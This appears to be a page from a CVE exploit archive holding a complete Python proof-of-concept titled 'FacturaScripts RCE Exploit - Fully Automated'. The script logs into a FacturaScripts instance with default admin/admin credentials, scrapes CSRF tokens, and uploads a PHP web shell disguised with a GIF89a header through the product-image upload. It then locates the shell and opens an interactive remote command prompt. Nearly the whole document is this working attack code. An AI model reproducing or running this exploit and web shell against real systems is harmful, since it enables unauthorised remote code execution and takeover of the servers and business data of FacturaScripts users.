5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / Exploit.py PY
#!/usr/bin/env python3
"""
FacturaScripts RCE Exploit - Fully Automated
Author: Abdullah Alwasabei / Guzrex
Description: Automatically logs in, enumerates products, extracts tokens, and uploads shell
Usage: python3 exploit.py http://target.com -u admin -p admin
"""

import requests
import sys
import os
import re
import time
import argparse
from bs4 import BeautifulSoup

class FacturaScriptsExploit:
    def __init__(self, base_url, username, password):
        self.base_url = base_url.rstrip('/')
        self.username = username
        self.password = password
        self.session = requests.Session()
        self.session.headers.update({'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'})
        self.token = None
        self.product_code = None
        self.product_id = None
        self.shell_url = None
        self.year = time.strftime("%Y")
        self.month = time.strftime("%m")
        
    def login(self):
        """Automatically login and get session"""
        print("[*] Attempting to login...")
        
        try:
            login_page = self.session.get(f"{self.base_url}/login")
            soup = BeautifulSoup(login_page.text, 'html.parser')
            token_input = soup.find('input', {'name': 'multireqtoken'})
            if not token_input:
                print("[-] Could not find login token")
                return False
                
            csrf_token = token_input.get('value')
            login_data = {
                'multireqtoken': csrf_token,
                'action': 'login',
                'fsNick': self.username,
                'fsPassword': self.password
            }
            
            response = self.session.post(f"{self.base_url}/login", data=login_data)
            
            if response.status_code == 200 and 'Dashboard' in response.text:
                print("[+] Login successful!")
                return True
            else:
                print("[-] Login failed - check credentials")
                return False
                
        except Exception as e:
            print(f"[-] Login error: {e}")
            return False
    
    def enumerate_products(self):
        print("[*] Enumerating products...")
        try:
            response = self.session.get(f"{self.base_url}/ListProducto")
            soup = BeautifulSoup(response.text, 'html.parser')
            product_links = []
            for link in soup.find_all('a', href=True):
                if 'EditProducto?code=' in link['href']:
                    code = link['href'].split('code=')[-1]
                    if code and code not in product_links:
                        product_links.append(code)
            
            if product_links:
                print(f"[+] Found {len(product_links)} products")
                for i, code in enumerate(product_links[:5]):
                    print(f"    {i+1}. {code}")
                self.product_code = product_links[0]
                print(f"[+] Using product: {self.product_code}")
                return True
            else:
                self.product_code = "CONTA621"
                return True
        except Exception as e:
            self.product_code = "CONTA621"
            return True
    
    def get_product_id(self):
        print(f"[*] Getting product ID for {self.product_code}...")
        try:
            response = self.session.get(f"{self.base_url}/EditProducto?code={self.product_code}")
            soup = BeautifulSoup(response.text, 'html.parser')
            id_input = soup.find('input', {'name': 'idproducto'})
            if id_input and id_input.get('value'):
                self.product_id = id_input.get('value')
                print(f"[+] Product ID: {self.product_id}")
                return True
            self.product_id = "3"
            print(f"[+] Using default product ID: {self.product_id}")
            return True
        except Exception as e:
            self.product_id = "3"
            return True
    
    def get_upload_token(self):
        print("[*] Getting upload token...")
        try:
            response = self.session.get(f"{self.base_url}/EditProducto?code={self.product_code}")
            token_pattern = r'<input[^>]*name="multireqtoken"[^>]*value="([^"]+)"'
            token_match = re.search(token_pattern, response.text)
            if token_match:
                self.token = token_match.group(1)
                print(f"[+] Got upload token")
                return True
            return False
        except Exception as e:
            return False
    
    def create_shell(self, output_file):
        shell_content = '''GIF89a
<?php
echo "SHELL_UPLOADED!";
if(isset($_GET['cmd'])){
    system($_GET['cmd']);
}
?>
'''
        with open(output_file, 'w') as f:
            f.write(shell_content)
        return output_file
    
    def upload_shell(self, shell_file):
        print("[*] Uploading shell...")
        upload_data = {
            'multireqtoken': self.token,
            'action': 'add-image',
            'activetab': 'EditProductoImagen',
            'idproducto': self.product_id,
            'referencia': ''
        }
        files = {
            'newfiles[]': (os.path.basename(shell_file), open(shell_file, 'rb'), 'application/x-php')
        }
        try:
            response = self.session.post(
                f"{self.base_url}/EditProducto?code={self.product_code}",
                data=upload_data,
                files=files
            )
            if "images added correctly" in response.text:
                print("[+] Shell uploaded successfully!")
                return True
            return False
        except Exception as e:
            return False
    
    def find_shell(self):
        print("[*] Locating uploaded shell...")
        for num in range(1, 10):
            test_url = f"{self.base_url}/MyFiles/{self.year}/{self.month}/{num}.php"
            try:
                response = self.session.get(f"{test_url}?cmd=echo test")
                if "SHELL_UPLOADED" in response.text:
                    self.shell_url = test_url
                    return test_url
            except:
                pass
        self.shell_url = f"{self.base_url}/MyFiles/{self.year}/{self.month}/1.php"
        return self.shell_url
    
    def execute_command(self, command):
        try:
            response = self.session.get(f"{self.shell_url}?cmd={command}")
            output = response.text
            output = output.replace("GIF89a", "").replace("SHELL_UPLOADED!", "").strip()
            return output
        except Exception as e:
            return str(e)
    
    def interactive_shell(self):
        print("\n==================================================")
        print("INTERACTIVE SHELL READY")
        print("Type 'exit' to quit\n")
        while True:
            try:
                cmd = input("$ ").strip()
                if cmd.lower() == 'exit':
                    break
                if cmd:
                    print(self.execute_command(cmd))
            except KeyboardInterrupt:
                break
    
    def run(self):
        print("="*60)
        print("FacturaScripts RCE Exploit - Fully Automated")
        print("="*60)
        
        if not self.login():
            return
        self.enumerate_products()
        self.get_product_id()
        if not self.get_upload_token():
            return
        shell_file = self.create_shell(f"shell_{int(time.time())}.php")
        if not self.upload_shell(shell_file):
            return
        self.find_shell()
        print(f"[+] Shell URL: {self.shell_url}")
        result = self.execute_command("id")
        print(f"[+] Command output: {result}")
        self.interactive_shell()

def main():
    parser = argparse.ArgumentParser(description='FacturaScripts RCE Exploit')
    parser.add_argument('url', help='Target URL')
    parser.add_argument('-u', '--username', default='admin', help='Username')
    parser.add_argument('-p', '--password', default='admin', help='Password')
    args = parser.parse_args()
    exploit = FacturaScriptsExploit(args.url, args.username, args.password)
    exploit.run()

if __name__ == "__main__":
    main()